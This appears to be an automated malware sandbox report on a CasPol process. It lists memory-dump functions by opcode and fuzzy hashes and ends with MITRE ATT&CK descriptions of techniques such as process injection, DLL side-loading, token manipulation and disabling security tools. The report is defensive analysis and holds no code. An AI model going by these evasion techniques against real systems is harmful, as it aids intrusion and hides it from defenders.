Opcode ID: 9ac3306cf7e8038fcee6dc95fbbbb740095f48213e3ee1bf9a1ed228bf35cbe6
Instruction ID: 74a7b344138d880f4f2ffa2ebbf618ab9e4acf12b141ff7a991e889a0ed2d373
Opcode Fuzzy Hash: 9ac3306cf7e8038fcee6dc95fbbbb740095f48213e3ee1bf9a1ed228bf35cbe6
Instruction Fuzzy Hash: 16513472D202299FDB18CFA9C885B9DBBB1BF48310F54811AE815BB351DBB4A884CF55

Function 0122111B Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e515f2566ff42375df79308be9374685233629cd8e9c04899b7a94e96bec825
Instruction ID: 6ea74f81ea0e3779aaddf48f344f0012b328d15e20027eeb5a71810edabfbfd3
Opcode Fuzzy Hash: 8e515f2566ff42375df79308be9374685233629cd8e9c04899b7a94e96bec825
Instruction Fuzzy Hash: E1512772A01A46DFD709EF28F9919193FA1EB93302300A1BDD5017B772DA7C6D25CB81

Function 01221138 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46feff15ea796ccfd3cddd0a84e3a6e59ecada65549ccf8213a3e5d051c5a9d9
Instruction ID: b5a871b70d12ce61fd764a490e80923970dc134b4cd350f28a021a447f3dd421
Opcode Fuzzy Hash: 46feff15ea796ccfd3cddd0a84e3a6e59ecada65549ccf8213a3e5d051c5a9d9
Instruction Fuzzy Hash: 1D51D772A05A46CFC609EF2CF9919453FA1EBD2306300A1BDD5017B772DA7C6D25DB81

Function 0122F525 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb206b4c8fdeecb87e285ad0fb501d86c7d8f25d0b0ba1baca2318ff4bd65d3f
Instruction ID: 08f64f3825801b637dc1cb4df0595651b49701c4dec4c8d3a6bfd7d532f365b3
Opcode Fuzzy Hash: cb206b4c8fdeecb87e285ad0fb501d86c7d8f25d0b0ba1baca2318ff4bd65d3f
Instruction Fuzzy Hash: AE310330710216AFDB19AB79D65466E3BB3EF89240F54442DD506DB355EE38DC42CBD0

Function 0122F538 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228e2e867d1878e9a4a3e9305a63eaf8dcee7b169395d1668b85c5c3e801d801
Instruction ID: 59742c593e9733064629f8ef8af1571d7167cfc61898ad1b8649efbfb04fff24
Opcode Fuzzy Hash: 228e2e867d1878e9a4a3e9305a63eaf8dcee7b169395d1668b85c5c3e801d801
Instruction Fuzzy Hash: D531EB30B10216AFDB19AB39D65466E3BB3EF89640F60442CC506DB396EE34DC42CBD0

Function 0122F3E8 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f8ec94cc8fcfd998e55ca823bc198abedd3b4a950f55ee8dbd4da0248f01f29
Instruction ID: dc1b5b66a5feac331b1e41e2385c9ee38f95443e660a1cb4678b11c68bd30b31
Opcode Fuzzy Hash: 2f8ec94cc8fcfd998e55ca823bc198abedd3b4a950f55ee8dbd4da0248f01f29
Instruction Fuzzy Hash: 4B318F75E10616ABCB19CF68D994A9FB7B6FF89300F108929E906E7350DF70AC41CB90

Function 0122F3F8 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47c3e772a9c6474ddd349f8a0a5baf9a46e0820ddbd6acd28e9f6256d5c399d6
Instruction ID: 8c5f28ffc06a13b6d6103c33122c82bd11b05a7f645cd39e8908bd436d28337e
Opcode Fuzzy Hash: 47c3e772a9c6474ddd349f8a0a5baf9a46e0820ddbd6acd28e9f6256d5c399d6
Instruction Fuzzy Hash: C8317E74E10616ABCB19CF68D594A9FB7B6EF89300F108929E906EB350DF70AC41CB50

Function 012226DC Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a00ea082de5f3910b3cd2092368c57dc0287b1dad1d3941de03b94e9d0ddafe
Instruction ID: b39201080ec0e7e1c412e18a923666d4dc49eca263e36de509a1d880b50b3f9e
Opcode Fuzzy Hash: 9a00ea082de5f3910b3cd2092368c57dc0287b1dad1d3941de03b94e9d0ddafe
Instruction Fuzzy Hash: F641FEB5D10349DFEB14CFA9C580A9EBBB1BF48310F20802AE509AB254DBB59945CB91

Function 012226E8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae20966a137cd1191283bff2653d81c1accd1bd90e2b0d421ba834508d4dfce0
Instruction ID: 252f43d5fb2629a07916f508557d5579529496b90711e1b30bd0a80831dc2153
Opcode Fuzzy Hash: ae20966a137cd1191283bff2653d81c1accd1bd90e2b0d421ba834508d4dfce0
Instruction Fuzzy Hash: 2541EFB0D0034DEFEB14CFA9C980A9EBBB5FF48710F108029E509AB254DBB5A945CB91

Function 01229260 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0347d66f26925c1672275963e6e03e110a245d0c400c9832156692049ebe9e
Instruction ID: 3a3002fe9ea88e80901cdf643c74a9349f56158c97401743e2481bbe7f33fe44
Opcode Fuzzy Hash: 9e0347d66f26925c1672275963e6e03e110a245d0c400c9832156692049ebe9e
Instruction Fuzzy Hash: CC216131E1022A9BDF15CFA9D49069EF7B6FF89304F50C619E905AB241DB719881CB90

Function 01229150 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6562c041ab0dbfcb006c2b2ec12d90953e73d3f8cfc1bb8735e6d3ab932a64b5
Instruction ID: 43617019b7d652e442c6cafb5aaa1bf20acd32d81358a811b8a948250ed6d19f
Opcode Fuzzy Hash: 6562c041ab0dbfcb006c2b2ec12d90953e73d3f8cfc1bb8735e6d3ab932a64b5
Instruction Fuzzy Hash: 8D218835E10226ABCF19CFA9D8546DEB7B6AF89304F50861AE815F7351DB709881CB50

Function 0122137F Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c8cf1e954f034e8448b3e852fc1175e89a2a2ef1aa6391914fda1c3114821a
Instruction ID: ed3d6e770f9454cc79ecdd83e9f7a94973b46d0ad2a91e6ea5dd51d31ead54cd
Opcode Fuzzy Hash: 02c8cf1e954f034e8448b3e852fc1175e89a2a2ef1aa6391914fda1c3114821a
Instruction Fuzzy Hash: 3221D530A21122ABEB36673CE44AB6D3B65EB42315F141429F606D73C2DE6D9C91C782

Function 012216A3 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77e5a966a424bdf8b191244f9906685429b49d2b248d657bb935d7e9779f0e4
Instruction ID: efa19b59ee1a51431de5d5b1e712a9b202dd093cad781af8d8a7d1db549e06c6
Opcode Fuzzy Hash: e77e5a966a424bdf8b191244f9906685429b49d2b248d657bb935d7e9779f0e4
Instruction Fuzzy Hash: 6E216530A205129FEB25EF3CF884B6E3B65EB85314F105539E506D7292DF7C9C518B91

Function 00FCD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327375118.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_fcd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82e953610deab3cfcdc668f4c7550212e4369cbc9a689475cf58b1e2967fae2e
Instruction ID: c9f3d6b4f47b99fadda0219ab5fbbba2134c32557644a6613299f43816582fd8
Opcode Fuzzy Hash: 82e953610deab3cfcdc668f4c7550212e4369cbc9a689475cf58b1e2967fae2e
Instruction Fuzzy Hash: FB213772544205EFDB14DF18DAC1F2ABB61FB84324F24C57DD90A0B25AC376D847DA62

Function 01229A38 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbc4468e123326bb052a7449eb5989d28d56dac46c9594e8c0504cc5ec836d69
Instruction ID: ef088318fae07fdd35dc43140daa4c2597b57df684aa2baddf6b4b1e94384602
Opcode Fuzzy Hash: bbc4468e123326bb052a7449eb5989d28d56dac46c9594e8c0504cc5ec836d69
Instruction Fuzzy Hash: 0821A431B20229AFEF04DB69C854BAE7BF6BF88714F104065E505EB3A0DAB19C40CB90

Function 01224F88 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 082da6a5279f19745cf8a61dcd67fbe026aae1954dd1f703c1d4e171db5c187c
Instruction ID: 96866008ebb671771add9e5635015f7ab7485a3d813f390df86303f81f0dcc03
Opcode Fuzzy Hash: 082da6a5279f19745cf8a61dcd67fbe026aae1954dd1f703c1d4e171db5c187c
Instruction Fuzzy Hash: 8B211931B10115DFCB14DB78C958BAD77F2AF4D204F104469E506EB360DB7A9D01CB91

Function 00FCD005 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327375118.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_fcd000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 181f5092b824f8a841a17131f24ec27eae351fb2c7d870463c0e9de0a95a2a64
Instruction ID: 880987f93d3aad1219a8553079ff7d55abc7f2289350b09d71e6da792a4e213f
Opcode Fuzzy Hash: 181f5092b824f8a841a17131f24ec27eae351fb2c7d870463c0e9de0a95a2a64
Instruction Fuzzy Hash: E821517154D3C09FC707CB24D990B15BF71AB46224F29C5EBD8858F2A7C23A981ACB62

Function 01229160 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f411d8df3ac0f2c68f7d11807c06ca03a0f296f0df9ac4ec47b1652d429a8850
Instruction ID: 505417ef50c38b335cb733f4121ce5c869f1ac6b83aa3ddf7c11c6067e6a6486
Opcode Fuzzy Hash: f411d8df3ac0f2c68f7d11807c06ca03a0f296f0df9ac4ec47b1652d429a8850
Instruction Fuzzy Hash: 7221AA34E1022A9BCF19CFA5D4545DEF7B2BF85304F20861AE815F7340DB709881CB50

Function 0122187B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d3f7255801eae63165eb8f56dd10b0e5dd56035a4b9d236d300c0b9572e869
Instruction ID: 31b625a048944d78af689bfa40423de0acb55bd5b5361ee2b1789c5771c5e202
Opcode Fuzzy Hash: d7d3f7255801eae63165eb8f56dd10b0e5dd56035a4b9d236d300c0b9572e869
Instruction Fuzzy Hash: 88216B31B10266DFDB15DB78C554BAE77F2AF49245F100468D602EB390DB798D11CB51

Function 01221888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67eb80280b6739c74735bcd8d802514ec97cf3ab62863209b1041e7316512220
Instruction ID: c296434145681c57efb101b198100461e4fc673127aeab3fbd6678858a631d29
Opcode Fuzzy Hash: 67eb80280b6739c74735bcd8d802514ec97cf3ab62863209b1041e7316512220
Instruction Fuzzy Hash: 4C215C30B1026ADFDB14EB78C554BAE77F2AF89241F100478D606EB350DB798D51CBA2

Function 012216B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33be128ad7c5eb302017b43f86c73d3703bd6b9b53feea906c6bb2befcab14d4
Instruction ID: c12989426edfd63e6adf0603381c6fab488a9b25ecef4e1279c5a16c23366cec
Opcode Fuzzy Hash: 33be128ad7c5eb302017b43f86c73d3703bd6b9b53feea906c6bb2befcab14d4
Instruction Fuzzy Hash: 53219630A205129BEB29EF3CF884B5E3B65EB85314F105539E606D7252DF7CDC608B91

Function 012296E0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc4c2ab85cdf1949dc20670e6302bd3c40f578e9135e99147e22c96e73f77a
Instruction ID: 3b69aa73e7614e4a03425537b912d93237f1bc6c897be43611242517969f7cd2
Opcode Fuzzy Hash: 6edc4c2ab85cdf1949dc20670e6302bd3c40f578e9135e99147e22c96e73f77a
Instruction Fuzzy Hash: 201103B4B101369BEF249EACD9407BE77B5EB89614F20042AE60AD7341C635DD818BD1

Function 01224F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2b163482505a4a4b14904a7eb59ffd83ecc1f04919e83ed98e8720e32bb877
Instruction ID: e251fc6fbac646912b396c336271bdda65cd5d71580938e6eec1db2b87b4ab0b
Opcode Fuzzy Hash: 9e2b163482505a4a4b14904a7eb59ffd83ecc1f04919e83ed98e8720e32bb877
Instruction Fuzzy Hash: 5E210731B10219DFDB14EB78C958BAD77F2AF8D204F104469E506EB3A1DB799D01CB91

Function 01220848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a254918f76f862ccb1465150088145c3b4d08e7d6ccf554469018817d279c83
Instruction ID: 3538fb2e5670ae1de0486b2ab274926aae4663ae62f5b9480d09ff731e7590b6
Opcode Fuzzy Hash: 5a254918f76f862ccb1465150088145c3b4d08e7d6ccf554469018817d279c83
Instruction Fuzzy Hash: 2B119831B2021AABEF155A7ED40476F3655FB85714F204839F606CF256DDB9CC414BC6

Function 01221488 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418b898a54169a1af3363878ea84973b8fc607a7715de52da81c440a65cd9c36
Instruction ID: ca01ac87aa880b4549fac079c2effab8d701946d66bfcba7b5e96777c6289bf8
Opcode Fuzzy Hash: 418b898a54169a1af3363878ea84973b8fc607a7715de52da81c440a65cd9c36
Instruction Fuzzy Hash: 0D11A772E20226ABCB11AFB888506AD7BF5EF58210B590475D505D7302EB75C951C7D4

Function 01220838 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91308eb7ed21bdad3c456cc097e19b42d51626e0bf864cbb0404844aa62e0aee
Instruction ID: 42f47ba12d57544671cd5a1a440ef0fbecf956b09eba4a23e2b3e90654a7e609
Opcode Fuzzy Hash: 91308eb7ed21bdad3c456cc097e19b42d51626e0bf864cbb0404844aa62e0aee
Instruction Fuzzy Hash: 32110A31B2021AABEF255A7D940477F3355EB41715F104839F602CB242DAB8CC414BC6

Function 012280F0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2e690102b3fc4c415eba40be277fc8aec989b7dcca783f1b62e7a784940f9ee
Instruction ID: ffd6d94fa371e74595ee1612be7b0a5d92de7a132fa916a191bbf948f6253608
Opcode Fuzzy Hash: f2e690102b3fc4c415eba40be277fc8aec989b7dcca783f1b62e7a784940f9ee
Instruction Fuzzy Hash: 30117970A1020AEFEB05EFBCF88169C7BB1EF84304F50517DD904AB251EE79AE558B81

Function 012217C0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7153ba5784313d9cc59bb2dc7f97a3928dca38abb31ad1e24d007401b5590af
Instruction ID: 5062019e50f4cdd7cfca55d168f1165463b1c1c80cf129b29e716c067f04a32b
Opcode Fuzzy Hash: d7153ba5784313d9cc59bb2dc7f97a3928dca38abb31ad1e24d007401b5590af
Instruction Fuzzy Hash: 6211C276F11261ABCB10AFB9A84966F7FE9EB88250F100435E906D3342EF34C9118B95

Function 01226B7F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c696fba021d1d5990a92e7a7a23cca75a2f8ac1ce74e14638bb2b9efab2b88
Instruction ID: e63302da3a115692e9b4656b9fe39c695bec8db0642ff9f0c14eaf6ea16ef29c
Opcode Fuzzy Hash: 64c696fba021d1d5990a92e7a7a23cca75a2f8ac1ce74e14638bb2b9efab2b88
Instruction Fuzzy Hash: F8112272B10115ABD718BB7DE8557AE3BA6EFC9310F10447AE509CB780EF799841CB82

Function 012217D0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6a3e5a25b63d1c27d015c51f95eb22f9081db66545491ef316cbffe4e9616a
Instruction ID: 5a41d9691add97863d0cc6d3410d216ff333ca7c20c20753432405dfe06d1bd0
Opcode Fuzzy Hash: fd6a3e5a25b63d1c27d015c51f95eb22f9081db66545491ef316cbffe4e9616a
Instruction Fuzzy Hash: DC01C476F112619BCB10DF79A80865F7FE9EB88250F100435E905D3341EB34C8118BD5

Function 01221498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9718bc69fe70a82b230259d212a303318ec33146b731feeba84ab853bc33391
Instruction ID: 0db4b000869653c3d050b2890d812919b89f1811342ec50c4b2a81b35f8af3cf
Opcode Fuzzy Hash: c9718bc69fe70a82b230259d212a303318ec33146b731feeba84ab853bc33391
Instruction Fuzzy Hash: 29014031E20226AFCB21EFB89450AAE7BF5EB48210B1404BAD905EB301EB35D951CBD5

Function 01226BB0 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d444079d390bcb22626afcc55416456f09a6140687ee29a9bfe2f141615cbe3f
Instruction ID: 886e5ac967e61d1d1eb359b90ee8ce24f5f5d1801999812f672a4e5973823205
Opcode Fuzzy Hash: d444079d390bcb22626afcc55416456f09a6140687ee29a9bfe2f141615cbe3f
Instruction Fuzzy Hash: 52012431B152959FC315BB78942466F7FB6EF86300B1040BEE505CB392DE788C45CB92

Function 01227090 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b006cf2b7a2cc04b039e64c02e5aa5830ce00cb3b5a7c63d90344580d4906d
Instruction ID: 913c64107dd4f977f7f2e60c09bf84e06b3a5ad8a5e712697881e11d308c756c
Opcode Fuzzy Hash: 24b006cf2b7a2cc04b039e64c02e5aa5830ce00cb3b5a7c63d90344580d4906d
Instruction Fuzzy Hash: CEF01439B01608CFC714DB68E598A6D77B2EF89225F1000A8E5069B3A0CF35AD42CB40

Function 01228100 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3327782878.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1220000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e2fb2dd82416e790ce3a49035c1e124113633deeaf50fccd8cb449a1d7ec0a
Instruction ID: 1a90337cb248453fd47a281f84a80925848b7272bf3684a8e9f2ada634281ab2
Opcode Fuzzy Hash: 17e2fb2dd82416e790ce3a49035c1e124113633deeaf50fccd8cb449a1d7ec0a
Instruction Fuzzy Hash: CBF0F67090014AEBDB08FFB8F98159DBBB1EB80300F50526CC504AB251EE792E249B91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

